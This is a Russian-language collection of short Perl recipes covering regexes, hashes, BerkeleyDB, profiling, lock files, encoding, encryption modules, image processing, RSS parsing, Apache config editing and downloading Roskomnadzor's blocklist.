    
     
    ----* Как используя Perl разбить число на триады   Автор: gr  [обсудить]
     
    $num = 100000000000000; 
    $num =~ s/(\d{1,3}(?=(?:\d\d\d)+(?!\d)))/$1,/g;
    
     
    ----* Как в Perl вырезать у строки лидирующие пробелы   [комментарии]
     
      $str =~ s/^\s*([^\s]?.*)$/$1/;
      $str =~ s/^(.*[^\s])\s*$/$1/; # два regex работают быстрее, чем один более сложный
    
     
    ----* Как закодировать и раскодировать строку %XX в URL.   [комментарии]
     
    Закодировать:
    $toencode =~ s/([^a-zA-Z0-9_.-])/uc sprintf("%%%02x",ord($1))/eg;
    Раскодировать:
    $todecode =~ s/%(..)/pack("c",hex($1))/ge;
    
     

       Массивы и Хэши

    ----* Как организовать выборку ключа по условию больше или равно в BerkeleyDB   [обсудить]
     
    Задача: выбрать запись с ключем большим или равным искомому, т.е. организовать
    выборку по промежутку значений:
    
    #!/usr/bin/perl
    use strict;
    use BerkeleyDB;
    use constant DB_DEF_CACHE_SIZE => 5000000;
    my %hash;
    
    my $dbobj = tie(%hash, 'BerkeleyDB::Btree',
            -Filename    => "test.db",
            -Cachesize   => DB_DEF_CACHE_SIZE,
            -Flags       => DB_CREATE,
            -Compare     => sub { $_[0] <=> $_[1] }
            ) or die "Can't create or open DB File!\n";
    
    # Тестовые значения
    $hash{5}="0-5";
    $hash{8}="6-8";
    $hash{20}="9-20";
    $hash{80}="21-80";
    
    my ($key, $val);
    my $cursor = $dbobj->db_cursor();
    
    # Выборка.
    $key=3;
    $cursor->c_get($key, $val, DB_SET_RANGE);
    print "3=$val\n";
    
    $key=25;
    $cursor->c_get($key, $val, DB_SET_RANGE);
    print "25=$val\n";
    
    $key=80;
    $cursor->c_get($key, $val, DB_SET_RANGE);
    print "80=$val\n";
    
    untie %hash;
    
     
    ----* Как получить бинарный дамп хеша или массива на Perl   [обсудить]
     
    use Storable;
    Запись/чтение дампа в файл.
       store (\%table, 'file');  $hashref = retrieve('file');
       lock_store (\%table, 'file');  $hashref = lock_retrieve('file');
    Запись/чтение дампа в ранее открытый файл.
       store_fd (\%table, \*FILE); $hashref = fd_retrieve(\*FILE);
    Запись/чтение дампа в скалярную переменную 
    (удобно для использования для привязки сложной структуры к ключу в DB_File или BerkeleyDB).
       $hash_dump = freeze (\%table); $hash_ref = thaw($hash_dump);
    
    Если нужно получить дамп в символьном "perl sources"-виде для использования в
    eval или print: use Data::Dumper;
    
     
    ----* Как сразу выделить память под хэш в Perl до его заполнения.   [комментарии]
     
    Определяем, что хэш будет содержать около 100 записей:
      keys( %hash ) = 100;
    
     
    ----* Обращение к DB файлам в Perl как к хэшам.   [обсудить]
     
    use DB_File;
    $db_hashinfo = new DB_File::HASHINFO;
    $db_hashinfo->{'cachesize'} =  100000;
    $dbobj = tie(%hash, "DB_File", "somefile.db", O_RDWR|O_CREAT, 0644, $db_hashinfo ))||die "Error";
    $dbobj->del($key);
    $dbobj->sync();
    untie %hash;
    Для доступа к хранилищам Berkeley DB версии 2,3 и 4 нужно использовать модуль  BerkeleyDB.
    
     
    ----* Как вывести содержимое хеша с сортировкой по ключу или данным.   [обсудить]
     
    Сортировка по ключу:
        foreach $key (sort keys %hash){ }
    Сортировка по данным сопоставленым с ключом:
        foreach $key (sort { $hash{$a} cmp $hash{$b} } keys %hash){ }
    Если сортировка осуществляется над строковыми данными используем "cmp", если
    над цифровыми - "<=>".
    Для сортировки в обратном порядке пишем "reverse sort".
    
     
    ----* Как организовать хэш элементами которого являются хэши (хэш хэшей)   [комментарии]
     
    %a=(
         "test1" => {
             "TITLE" => "incoming",
             "HEADER" => "Hi"
          },
          "test2" => {
    	"TITLE" => "outgoing"
          }
    )
    $s = $a{"test1"}{"TITLE"};
    print "$s\n"; 
    
     
    ----* Как организовать массив элементами которого являются массивы   [обсудить]
     
    @a=(["a","b","c"],["d","e"],["f"]);
    foreach $b (@a){
        foreach $c (@$b){
    	print "$c\n";
        }
    	print "====\n";
    }
    $z=$a[1][1];
    print "--$z\n";
    
     
    ----* Как узнать число элементов массива   [комментарии]
     
    @array=();
    $n = $#array; # это номер последнего индекса, число записей - scalar @array;
    Если $n = -1 - то массив пустой, если $n = 0 - в массиве 1 элемент и т.д.
    
     
    ----* Как в качестве значения в ассоциацтивном массиве использовать обычный массив.   [обсудить]
     
    %ass=( "login" => ["test", 32, 2]);
    Для доступа к элементам массива используем:
    @{$ass{"login"}}[0]; # test
    @{$ass{"login"}}[1]; # 32
    @{$ass{"login"}}[2]; # 2
    
     
    ----* Как в Perl получить элемента массива имя которого находится в переменной   [обсудить]
     
    Реальный массив:
    	%form_test = ('a' => 1);
    Переменаня
    	$name="test";
    Генерируем ссылку на массив:
    	$tmp = eval "\\\%form_$name"; 
    Вычилсяем хначение элемента массива:
    	$key_val = $$tmp{"a"};
    
     

       Отладка программ на Perl

    ----* Как отследить время выполнения различных участков Perl программы ?   [обсудить]
     
    perldoc Devel::DProf
    Запускаем программу как perl -d:DProf prog.pl
    Затем смотрим в сгенерированный файл tmon.out, или используем специальную
    программу для его разбора, например dprofpp -T
    
     
    ----* Как протестировать производительность (скорость выполнения) perl скрипта.   [обсудить]
     
    use Benchmark;
      $string = "The bitter end.\n";
      $code{"chomp"} = 'chomp $string';
      $code{"regex"} = '$string =~ s/\n$//';
    timethese(10_000_000, \%code);
    или timethese($count, {
                'test1' => sub { foreach $cur_val (@arr){....}},
                'test2' => sub { ....много кода... },
         });
    
     

       Переменные в Perl

    ----* Автоматизация объявления переменных в Perl при использовании strict (доп. ссылка 1)   Автор: Sokolov Alexey  [комментарии]
     
    Мне требовалось переписать мой же проект, написанный на Perl, с использованием "use strict". 
    Было лень объявлять все переменные вручную, т.к. их было чертовски много,
    посему я решил сей процесс
    автоматизировать. Это конечно не совсем правильно, однако я всё равно весь
    результат потом тщательно проанализировал.
     
    Итак, предлагаю вашему вниманию мой метод автоматизации:
    
    1. Включаем в скрипте режим strict:
    
       use strict;
    
    2. Запускаем наш скрипт и фильтруем вывод ошибок на наличие "Global symbol",
    записывая в отдельный файл (например, var.txt):
    
       perl -c script.pl 2>&1 | grep "Global symbol" > var.txt
    
    3. Отсортируем дубликаты, оставив только первое вхождение переменной:
       
       cat var.txt| sort -k 3| uniq -w 60| sort -nk 11| less
    
    4. Получившийся вариант анализируем мозгами и вставляем в код скрипта необходимые операторы "my".
    Проверяем каждую переменную на необходимость дополнительного переопределения в
    локальных блоках и функциях.
    
    Настоятельная рекомендация: пишите скрипты на Perl сразу с использованием strict и warnings.
    
     
    ----* Пример использования Tie для ассоциирования функции с хешем.   Автор: lw  [обсудить]
     
       use Tie::Sub;
       tie my %sub, 'Tie::Sub', sub{sprintf '%04d', shift};
       print "See $sub{4} digits.";
    
     
    ----* Как узнать тип ссылочной переменной в Perl   [комментарии]
     
    Иногда нужно узнать на массив, хэш или скаляр указывает ссылка.
    ref возвращает строковый идентификатор типа ссылки (SCALAR, ARRAY, HASH, CODE, REF, GLOB, LVALUE) 
    или пустое значение для обычных переменных. Например:
    
       if (ref($r) eq "HASH") {
             print "Хэш\n";
       } elsif (ref($r) eq "ARRAY"){
             print "Массив\n";
       }
    
     
    ----* Манипулирование файловыми хэндлерами в Perl (доп. ссылка 1)   [обсудить]
     
    Пример хранение дескрипторов в хэше:
       my %user_fd = ();
       if (! defined $user_fd{$cur_login}){ 
          open($user_fd{$cur_login}, ">$cur_file") or return -1;
       }
       print {$user_fd{$cur_login}} "TEST\n";
       close($user_fd{$cur_login});
    
    Пример передачи дескриптора из функции:
    
       # Для perl 5.6 и старше
       open (my $fh, $file_name);
       print $fh "Hello World!\n";
       process_file( $fh );
    
       open (FILE, "> $filename)";
       process_typeglob( *FILE );
       process_reference( \*FILE );
    
       sub process_typeglob { local *FH = shift; print FH "Typeglob!" }
       sub process_reference { local $fh = shift; print $fh "Reference!" }
    
    
        my $fh = myopen("file_path");
        while (<$fh>) {
        ....
        }
        close $fh;
    
       sub myopen {
          my $path = shift;
          local *FH; 
          open (FH, $path) || return undef;
          return *FH;
       }
    
     
    ----* Как в Perl оптимально заменить символы в строке или разбить строку на части   [комментарии]
     
    При работе с большими строками нужно избегать внутреннего копирования строк, 
    которое происходит при использоании регулярных выражений или оператора split.
    
    Для разбиеная строки вида "small_begin:big_end" на две подстроки используем:
       my $pos=index($str, ':');
       my $begin_str = substr($str, 0, $pos,""); 
       # в $str остается только big_end часть, в $begin_str - "small_begin:"
    
    Соответсвенно, для замены символов удобно использовать:
        substr(строка, начало замены, число заменяемых символов, блок на который заменяем);
    
     
    ----* Как вывести шестнадцатеричный код символа на Perl   [обсудить]
     
    $ch="M";
    print sprintf("%2x", ord($ch));
    
     
    ----* Как написать обработчик сигнала на Perl   [обсудить]
     
    sub pipe_sig{
        return 0;
    };
    $SIG{'PIPE'} = \&pipe_sig;
    
     
    ----* Как определить число в переменной или строка   [обсудить]
     
    if (( ~$scalar & $scalar ) eq '0' ){ число }
    
     
    ----* Как определить константу в Perl   [комментарии]
     
    use constant TEST => 1;
    $a=TEST;
    
     

       Полезные подпрограммы на Perl
    Обработка изображений на Perl
    Подпрограммы для WEB
    Работа с сетью и IP адресами на Perl

    ----* Perl функция для quoted-printable кодирования в соответствии с RFC2047 (доп. ссылка 1)   Автор: dev  [комментарии]
     
    Популярный Perl модуль MIME::Words  не обеспечивает quoted-printable кодирование 
    в полном соотвтетвии с  RFC2047 (пробелы между двумя закодированными блоками недопустимы).
    
    # rfc2047conv (строка, кодировка, размер префикса);
    sub rfc2047conv{
        my $str      = shift;       # чего кодировать
        my $charset  = uc(shift);   # какую кодировку приписать
        my $init_len = shift || 0;  # длина того, что планируется добавить потом в начало строки
    
        my $len = length($str);
    
        return '' unless($len);
    
        my $begin = "=?$charset?Q?";
        my $res   = $begin;
        my $count = $init_len + length($begin);
        foreach my $c (split(//, $str)) {
            my ($repl, $repl_len);
            if($c eq '?' || $c eq '_' || $c eq '=' || $c lt ' ' || $c gt '~') {
                $repl     = sprintf("=%X", ord($c));
                $repl_len = 3;
            } elsif($c eq ' ') {
                $repl     = '_';
                $repl_len = 1;
            } else {
                $repl     = $c;
               $repl_len = 1;
            }
            if($count + $repl_len > 72) {
                $res  .= "?=\r\n " . $begin;
                $count = 1 + length($begin);
            }
            $res   .= $repl;
            $count += $repl_len;
        }
        $res .= '?=';
        return $res;
    }
    printf("[%s]\n", rfc2047conv("проверка ", 'KOI8-R', length('Subject: ')));
    
     
    ----* Обработка иерархически связанной структуры на Perl на perl.   Автор: Andrey Karavaev  [комментарии]
     
    Как-то пришлось столкнуться с обработкой иерархически связанной структуры на perl. 
    В инете есть куча разрозненной информации по этому поводу.
    Можно, например, воспользоваться пакетами с сайта CPAN. Но с одной
    стороны 
    стрелять из пушки по воробьям ... не дело.. а с другой надо чтобы и в мозгах что-то осталось. 
    Вообщем, задачка решилась и заодно родился вот такой скриптик, не претендующий 
    на уникальность, тем более, что на perl (как и на других мощных языках) одну и ту же задачу 
    можно решить многими способами. Хотя, эффективность этих способов - это уже другой вопрос.
    
    Итак, скрипт.
    
    #!/usr/bin/perl
    # Рассмотрим принцип работы рекурсивных функций и построения
    # связанных структур (в данном случае анонимных хэшей) на
    # примере скрипта для иерархического (в виде дерева)
    # отображения подкаталогов, содержашихся в заданном каталоге.
    #
    # Сначала необходимо провернуть некоторые подготовительные
    # операции. Например, определиться какой каталог будем печатать.
    print "Directory to print [.]: ";
    # Считываем каталог и удаляем символ конца строки.
    chop (my $d = <>);
    # По умолчанию берем текущий каталог.
    if (!$d) {$d="."};
    # Проверяем, является ли $d каталогом...?
    (-d $d) or die "Error: $d isn\'t directory.\n";
    
    # Теперь создаем дерево вложенных хэшей с помощью
    # функции MakeTree, которая возвращает указатель 
    # на корневой хэш.
    my $root = MakeTree($d);
    # И печатаем. Первый параметр - уровень вложенности
    # текущего каталога - $d.
    PrintTree(0,$root);
    
    # Рассмотрим подробнее рекурсивные функции MakeTree и PrintTree
    sub MakeTree {
    # Берем первый параметр - каталог для обработки
    	my $path_to_dir = shift;
    	# Инициализируем хэш, в котором будем сохранять
    # результат обработки каталога $path_to_dir.
    	my %branches;
    # Читаем содержимое каталога в массив @content.
    # Причем выбрасываем из рассмотрения каталоги
    # "." (текущий), ".." (уровнем выше) и файлы.
    	opendir DIR, $path_to_dir;
    	my @content = grep { !/^\.{1,2}$/ 
    		&& !(-f $path_to_dir."/".$_) } readdir DIR;
    	closedir DIR;
    # В итоге в @content содержится список каталогов,
    # находящихся в $path_to_dir. Теперь для каждого
    	foreach my $dir (@content) {
    # каталога из этого списка рекурсивно запускаем
    # эту же функцию - MakeTree, в аргументе которой
    # уже новый путь - путь к каталогу $dir.
    		$branches{$dir} = MakeTree($path_to_dir."/".$dir);
    # В результате в хэш %branches по ключу $dir заносится
    # значение, возвращаемое функцией MakeTree. А это значение
    	}
    # ничто иное, как указатель на хэш, поскольку функция
    # MakeTree возврашает указатель на хэш %branches, как мы
    # видим ниже. Ключи этого хэша - каталоги, содержащиеся
    # в $dir, а значения по этим ключам - опять же указатели на 
    #хэши...и т.д.
    	return \%branches;
    # Но ведь %branches обьявлен с ключевым словом my и ограничен
    # областью видимости функции (в данном случае)?!..Это означает,
    # что сборщик мусора perl должен уничтожить %branches при 
    # выходе из функции. Оказывается, нет. Дело в том, что пока для
    # переменной (в данном случае - хэш), объявленной с оператором
    # my внутри блока { } существует указатель вне этого блока, то
    # perl не уничтожает переменную, и мы приходим к понятию 
    # анонимная переменная (хэш). Т.е. мы обращаемся к переменной
    # не $имя_переменной, а через указатель.
    }
    # Таким образом, в результате создаются ссылающиеся друг
    # на друга анонимные хэши, которые существуют до тех пор,
    # пока существует указатель $root.
    
    # Печатаем результат.
    sub PrintTree {
    # Первый параметр - уровень вложенности каталога.
    	my $level = shift;
    # Второй - хэш, содержащий имена каталогов, через указатель.
    	my %top = %{(shift)};
    # Далее для каждого ключа из хэша %top
    	foreach $key (keys %top) {
    # печатаем сам ключ (на самом деле ключ - имя каталога),
    # причем с отступом 4*$level.
    		printf ("%${\(4*$level)}s$key\n","|");
    # Необходимо заметить, что в %top по ключу $key содержится
    # хэш с именами каталогов, которые тоже было бы неплохо
    # распечатать. Поэтому увеличиваем уровень вложенности
    		$level++;
    # и опять вызываем PrintTree.
    		PrintTree($level,$top{$key});
    # После чего надо вернуть уровень вложенности на место.
    		$level--;
    	}
    }
    
     
    ----* Как создать лок файл на Perl   [комментарии]
     
    Для защиты от одновременного запуска нескольких процессов, можно сделать так:
    
    use Fcntl qw(:flock :DEFAULT);
    my $cfg_glob_lock="/var/run/myprog/test.pid";
    
    # Проверяем лок.
    if (-f $cfg_glob_lock){
          # Лок присутствует. Проверяем не дохлый ли процесс.
          my $lock_pid = 0;
          open(LOCK,"<$cfg_glob_lock");
          # Если удалось заблокировать, значит процесс мертв.
          my $zombie_lock_flag = flock(LOCK,  LOCK_EX|LOCK_NB);
          $lock_pid = <LOCK>;
          close (LOCK);
          chomp ($lock_pid);
          if ($lock_pid > 0 && $zombie_lock_flag == 0){
              # Реакция на зависший процесс.                                        
              die "Proccess locked (pid=$lock_pid)";
          } else {
              # Лок от мертвого процесса.
              unlink("$cfg_glob_lock");
              warn("DeadLock detected ($lock_pid)");
          }
    }    
    # Записываем pid в новый лок файл.
    sysopen(LOCK, $cfg_glob_lock, O_CREAT|O_EXCL|O_WRONLY) or die 'Race condition';
    
    print LOCK "$$\n";
    close(LOCK);
    # Открываем лок.
    open(GLOB_LOCK,"<$cfg_glob_lock");
    flock(GLOB_LOCK,  LOCK_EX);
    
    .... рабочий код скрипта
    
    # Закрываем и удаляем лок
    flock(GLOB_LOCK, LOCK_UN);
    close(GLOB_LOCK);
    unlink("$cfg_glob_lock");
    
     
    ----* Преобразование текста из UTF-8 в KOI8-R и обратно на языке Perl   [комментарии]
     
    Преобразование из UTF-8 в KOI8-R:
    
       use Unicode::Map8;
       use Unicode::String qw(utf8);
       my $koi8 = Unicode::Map8->new("koi8-r");
       $koi8_string = $koi8->to8(utf8($utf8_string)->utf16);
    
    Обратное преобразование 
    
       use Unicode::Map8;
       use Unicode::String qw(utf16);
       my $koi8 = Unicode::Map8->new("koi8-r");
       $utf8_string = utf16($koi8->to16($koi8_string ))->utf8; 
    
    
    Другой метод:
    
       use Encode;
       $koi8_text = from_to($utf8_text, "utf8", "koi8-r");
       $utf8_text = from_to($koi8_text, "koi8-r", "utf8");
    
     
    ----* Симметричное шифрование блока данных на Perl.   [комментарии]
     
    use Crypt::Blowfish;
    use Crypt::CBC;
    my $cipher = new Crypt::CBC("Секретный ключ для шифрования",'Blowfish');
    my $crypted_block = $cipher->encrypt_hex($text);
    my $text = $cipher->decrypt_hex($crypted_block);
    $cipher->finish();
    
     
    ----* Установка русской локали в Perl скриптах.   [обсудить]
     
    use POSIX qw(setlocale LC_ALL LC_CTYPE LC_NUMERIC);
    use locale; # ru_RU.KOI8-R, ru_RU.CP1251, ru_RU.ISO-8859-5, ru_RU.UTF-8
    my $g_setlocale_all = POSIX::setlocale( &POSIX::LC_ALL, "ru_RU.KOI8-R" );
    my $g_setlocale_num = POSIX::setlocale( &POSIX::LC_NUMERIC, "C" );
    
     
    ----* Запуск ispell для проверки орфографии из скрипта (доп. ссылка 1)   [обсудить]
     
    Вывести список слов с ошибками:
      cat file.txt | ispell -d russian -l
    Детальный разбор ошибок с вариантами замены:
      echo file.txt | ispell -d russian -a
    Для скриптов на perl рекомендую использовать модуль Lingua::Ispell.
    
     
    ----* Чем в perl лучше шифровать данные.   [обсудить]
     
    Необратимое шифрование (хэш или fingerprint):
      Модули (в порядке возрастания надежности) Digest::MD5, Digest::SHA1, Digest::HMAC_MD5, Digest::HMAC_SHA1
      Пример: use Digest::SHA1 qw(sha1_base64); 
              $hash = sha1_base64("test");
    
    Обратимое шифрование по ключу:
      Модули: Crypt::DES, Crypt::HCE_SHA, Crypt::Blowfish + Crypt::CBC
      Пример: use Crypt::Blowfish; use Crypt::CBC;
              $cipher_handle = new Crypt::CBC($encrypt_key,'Blowfish');
              $crypted_text = $cipher_handle->encrypt_hex($text);
              $text = $cipher_handle->decrypt_hex($crypted_text);
    
    Шифрование с использованием открытого ключа: Crypt::OpenPGP, Crypt::GPG , Crypt::PGP5.
    
     
    ----* Генерация случайной последовательности символов на Perl   [обсудить]
     
    sub sys_true_rand {
       my ($num_char) = @_; # Число символов в качестве параметра.                       
       my $dev_line;
       my $rand_line = "";
       open(UR,"</dev/urandom") || die "Cam't open /dev/urandom"";
       do {
            read (UR, $dev_line, 4096);
            $dev_line =~ s/[^\w\d]//g;
            $rand_line .= $dev_line;
       } until (length($rand_line) >= $num_char);
       close(UR);
       return substr($rand_line,0, $num_char);
    }
    
     
    ----* Как используя Perl разбить число на триады   Автор: gr  [обсудить]
     
    $num = 100000000000000; 
    $num =~ s/(\d{1,3}(?=(?:\d\d\d)+(?!\d)))/$1,/g;
    
     
    ----* Как в Perl вырезать у строки лидирующие пробелы   [комментарии]
     
      $str =~ s/^\s*([^\s]?.*)$/$1/;
      $str =~ s/^(.*[^\s])\s*$/$1/; # два regex работают быстрее, чем один более сложный
    
     
    ----* Как найти подстроку находящуюся в переменной с экранированием опасных символов.   [обсудить]
     
    Для экранирования спец. символов в строке подставляемой в регуларное
     выражение, строку нужно разместить между модификаторами \Q и \E,
    при этом все спецсимволы не будут интерпретироваться как операторы рег. выражения.
    Например: /\Q$str\E/
    Или можно использовать функцию index():
    $pos = index($строка, $подстрока);
    if ($pos < 0){
    # Подстрока не найдена.
    } else {
    # В $pos - позиция первой совпавшей позиции подстроки.
    }
    
     
    ----* Как работать с параметрами передаваемыми в командной строке   [обсудить]
     
    use Getopt::Long;
    GetOptions("prefix=s", \$prefix, "prefix-man=s", \$prefix_man);
    $prefix = defined($prefix) ? $prefix : $default_install_path;
    $prefix_man = defined($prefix_man) ? $prefix_man : $default_install_man;
    
     
    ----* Как преобразовать число в определенный формат   [обсудить]
     
    Примеры:
    $a = sprintf("%4.2f",$num);
    $a = sprintf("%06X%06X",$num1,$num2);
    $a = sprintf("%04i",$num);
    
     
    ----* Обработка RSS и Atom лент на языке Perl   [комментарии]
     
    Для обработки RSS/Atom лент удобно использовать perl модуль XML::Feed, у
    которого есть один неприятный недостаток - необходимость установки очень
    большого числа зависимостей. Для работы XML::Feed во FreeBSD нужно установить
    около 100 дополнительных Perl модулей, не входящих в состав Perl 5.8.
    
    В качестве альтернативы с похожим синтаксимои и минимальным числом зависимостей
    можно предложить модуль XML::FeedPP (http://search.cpan.org/dist/XML-FeedPP/),
    в зависимостях у которого значится только XML::TreePP
    (http://search.cpan.org/dist/XML-TreePP/). Отрицательной чертой XML::FeedPP
    является невысокая производительность, так как модуль целиком написан на Perl,
    без привлечения библиотек подобных expat и libxml.
    
    Простой пример парсинга RSS, RDF  или Atom ленты:
    
       #!/usr/bin/perl
       use strict;
       use XML::FeedPP;
       my $feed = XML::FeedPP->new( './test.xml'); # Вместо файла можно указать URL
    
       print "Заголовок ленты: ", $feed->title(), "\n";
       print "Дата: ", $feed->pubDate(), "\n";
       
       # Выводим список новостей, отраженных в ленте
       foreach my $item ( $feed->get_item() ) {
            print "URL: " . $item->link() . "\n";
            print "Title: " . $item->title() . "\n";
       }
    
    Кроме $item->link() и $item->title(), у объекта $item имеются следующие методы:
    $item->description(), $item->pubDate(),  $item->category(), $item->author(),
    $item->guid(), $item->get( произвольное_имя_параметра).
    
    Для преобразования нескольких Atom и RSS в один RSS можно использовать:
    
       # создаем пустой RSS файл
       my $feed = XML::FeedPP::RSS->new(); 
    
       # присоединяем локальный atom файл
       $feed->merge("atom.xml");
    
       # присоединяем удаленный RSS
       $feed->merge( "http://www.test.com/rss.xml" ); 
    
       # меняем время модификации.
       my $now = time();
       $feed->pubDate( $now ); 
    
       # меняем название ленты
       $feed->title( "Sumary news" );
    
       # добавляем в ленту свой элемент (заголовок Test, ссылка http://test.com/news/1, id 12345)
       my $item = $feed->add_item( "http://test.com/news/1" );
       $item->title( "test" );
       $item->pubDate( "2009-02-23T14:43:43+09:00" );
       $item->guid(12345);
    
       # сохраняем в строку $rss_str готовую RSS ленту
       my $rss_str = $feed->to_string();
       # или сохраняем в файл
       $feed->to_file( "index.rss" );
    
     

       Обработка изображений на Perl

    ----* Русский язык в графиках GD::Graph   Автор: dawnshade  [комментарии]
     
    Для рисования русских букв, слов на графиках, построенных модулем perl GD::Graph необходимо все 
    переменные с русским тексом перевести в кодировку utf8.
    Например модулем Unicode::Map8:
        my $unicoded_txt = Unicode::Map8->new("cp1251");
    
    Дополнительно нужно указать ttf шрифт, поддерживающий unicode. Например виндовый arial.ttf:
        $graph->set_value_font('/usr/share/fonts/arial.ttf', 9);
    
    Опробовано с p5-GD-Graph-1.43 и p5-Unicode-Map8-0.12.
    
     
    ----* Как на perl сконвертировать изображения из одного формата в другой (доп. ссылка 1)   Автор: Леонид Палагин  [обсудить]
     
    use Image::Magick;
    my $image = Image::Magick->new; #новый проект
    my $x = $image->Read("photo.jpg"); #открываем файл jpg
    $x = $image->Write("photo.png"); #Сохраняем изображение png.
    
     
    ----* Как нормализовать цвета и контрастность изображения через Image::Magic (доп. ссылка 1)   Автор: Леонид Палагин  [комментарии]
     
    use Image::Magick;
    my $image = Image::Magick->new; #новый проект
    my $x = $image->Read("photo.jpg"); #открываем файл
    $image->Contrast(); #Контрастность
    $image->Normalize(); #Нормализуем цвета
    $x = $image->Write("photo.jpg"); #Сохраняем изображение.
    
     
    ----* Масштабирование картинки на Perl (модуль Image::Magick) без потери качества (доп. ссылка 1)   Автор: Леонид Палагин  [комментарии]
     
    use Image::Magick;
    my $image = Image::Magick->new; #новый проект
    my $x = $image->Read("photo.jpg"); #открываем файл
    my ($ox,$oy)=$image->Get('base-columns','base-rows'); #определяем ширину и высоту изображения
    my $nx=int(($ox/$oy)*150); #вычисляем ширину, если высоту сделать 150
    $image->Resize(geometry=>geometry, width=>$nx, height=>150); #Делаем resize (изменения размера)
    if($nx > 200) { #Если ширина получилась больше 200
       my $nnx = int(($nx-200)/2); #Вычисляем откуда нам резать
       $image->Crop(x=>$nnx, y=>0); #Задаем откуда будем резать
       $image->Crop('200x150'); #С того места вырезаем 200х150
    }
    $x = $image->Write("photo.jpg"); #Сохраняем изображение.
    
     

       Подпрограммы для WEB

    ----* Автоматическое получение списка запрещенных сайтов от РОСКОМНАДЗОР с помощью Perl   Автор: Lennotoecom  [комментарии]
     
    Скрипт для автоматической загрузки списка запрещенных сайтов:
    
       use MIME::Base64;
       use SOAP::Lite;
       open REQ,'<request.xml'; 
       $req.=$_ while <REQ>; 
       close REQ;   
       encode_base64($req);
    
       open SIG,'<PKCS#7'; 
       $sig.=$_ while <SIG>;
       close SIG;
    
       $soap = SOAP::Lite->service('http://vigruzki.rkn.gov.ru/services/OperatorRequest/?wsdl');
       $r = $soap->getLastDumpDate(); 
       print "time: $r\\n";
    
       @r = $soap->sendRequest($req, $sig); 
       $code = $r[2]; 
       print "code: $code\\n";
    
       sleep 1, print "$_\\n" for 1..300;
       @r = $soap->getResult($code);
       open ZIP,'>register.zip'; 
       print ZIP decode_base64($r[$#r]); 
       close ZIP;
    
    
    Дополнение:
    Сервис рнк обновился, ниже пример автоматической выгрузки в соответствии с
    изменёнными рекомендациями:
    
       use MIME::Base64;
       use SOAP::Lite;
       
       undef $/;
    
       open REQ,'</home/rkn/request.xml';
       $req = <REQ>;
       close REQ;
       encode_base64($req);
    
       open SIG,'</home/rkn/PKCS#7';
       $sig = <SIG>;
       close SIG;
    
       $dfv = '2.0';
    
       $soap = SOAP::Lite->service('http://vigruzki.rkn.gov.ru/services/OperatorRequest/?wsdl');
       $a = $soap->getLastDumpDate();
       @a = $soap->sendRequest($req, $sig, $dfv);
    
       while(1) {
            sleep 60;
            @b = $soap->getResult($a[2]);
            last if $b[2] ne 0;
       }
    
       if($b[2] eq 1){
            open ZIP,'>/home/lennotoecom/file.zip';
            print ZIP decode_base64($b[1]);
            close ZIP;
       }
    
    
    Цикл выполняется раз в минуту (по рекомендации ркн),
    каждый раз проверяя полученный от сервиса код ($b[2]),
    пока переменная 0 цикл выполняется, как только код меняется на значения от -1
    до -7(ошибки) или 1 (успешный),
    цикл завершается.
    
    Значения кодов ошибок можно посмотреть в официальной документации, по ссылке.
    
     
    ----* Скрипт для просмотра открытых табов в Firefox   [комментарии]
     
    Иногда требуется узнать какие вкладки оставлены открытыми в Firefox, запущенном на другой машине. 
    
    Ниже представленный Perl-скрипт выводит из файла sessionstore.js список
    открытых табов в формате "url заголовок":
      
    print_open_tabs.pl:
    
       #!/usr/bin/perl
    
       use strict;
       use JSON;
      
       # Читаем содержимое в файл
       my $json_text = <>;
       # Преобразуем JSON-блок в хэш, предварительно убирая лидирующие скобки
       my $perl_scalar = from_json(substr($json_text,1,-1), {utf8 => 1});
    
       # Последовательно перебираем открытые окна и табы
       foreach my $windows_block (@{$perl_scalar->{windows}}){
           foreach my $tabs_block (@{$windows_block->{tabs}}){
               # выводим активные табы по их индексу
               if ($tabs_block->{"index"} > 0){
                   my $idx = $tabs_block->{"index"}-1;
                   print "$tabs_block->{entries}[$idx]{url}\t$tabs_block->{entries}[$idx]{title}\n";
               }
           }
       }
    
    Пример использования:
    
       ./print_open_tabs.pl ~/.mozilla/firefox/*.default/sessionstore.js
    
     
    ----* Управление конфигурацией Apache из скрипта, при помощи Perl модуля Apache::Admin::Config (доп. ссылка 1)   Автор: User Di  [комментарии]
     
    Для парсинга и изменения конфигурации Apache удобно использовать модуль
    Apache::Admin::Config
    (http://search.cpan.org/dist/Apache-Admin-Config)
    
    Пример использования.
    
    Имеем блок конфигурации
       <VirtualHost *:80>
          ServerAdmin rr522@dfghg.com
          DocumentRoot /home/ab/www/data
          ServerName mydomain.com
          ServerAlias mydomain.com *.ydomain.com
          CustomLog /home/ab/log/httpd-access.log combined
          ErrorDocument 101 http://s.org
       </VirtualHost>
    
    Нижеприведенный кусок кода, считает содержимое некоторых директив VirtualHost
    для определенного сервера
    
       use Apache::Admin::Config;
       ...
       
       my $conf = new Apache::Admin::Config "путь к файлу конфигурации" 
          or die $Apache::Admin::Config::ERROR;
    
       # Перебираем все директивы VirtualHost
       foreach my $vh ( $conf->section('VirtualHost') ) {
    
          if ( $vh->directive('ServerName')->value eq "имя искомого хоста" ) {
            # Нашли нужный хост, читаем параметры
            my $serveradmin = $vh->directive('ServerAdmin');
            my $costomlog   = $vh->directive('CustomLog');
            my $errorlog    = $vh->directive('ErrorLog');
            my @drtvs4      = $vh->directive('ErrorDocument');
            my $serveralis  = $vh->directive('ServerAlias');
            ....
            # Добавляем новый алиас к параметрам ServerAlias
            $vh->directive('ServerAlias')->set_value($serveralis . " " . "новый алиас");
            ....
            # Записываем измененный файл на диск
            $conf->save;
          }
       }
       ...
       # Пример добавления новой секции VirtualHost с Location внутри.
       my $vhost = $conf->add_section(VirtualHost=>'127.0.0.1');
       $vhost->add_directive(ServerAdmin=>'webmaster@localhost.localdomain');
       $vhost->add_directive(DocumentRoot=>'/usr/share/www');
       $vhost->add_directive(ServerName=>'www.localhost.localdomain');
       $vhost->add_directive(ErrorLog=>'/var/log/apache/www-error.log');
       my $location = $vhost->add_section(Location=>'/admin');
       $location->add_directive(AuthType=>'basic');
       $location->add_directive(Require=>'group admin');
       $conf->save;
    
     
    ----* Как на Perl правильно выделить все A HREF ссылки из HTML файла.   [комментарии]
     
    use HTML::TokeParser;
    my $p = HTML::TokeParser->new("index.html");
    if ($p->get_tag("title")){
       my $title = $p->get_trimmed_text; # Содержимое <title>
    }
    while (my $token = $p->get_tag("a")) {  # перибираем все <a href>
       my $url = $token->[1]{href} || "";
       my $text = $p->get_trimmed_text("/a"); # Текст между <a ...> и </a>
    }
    
     
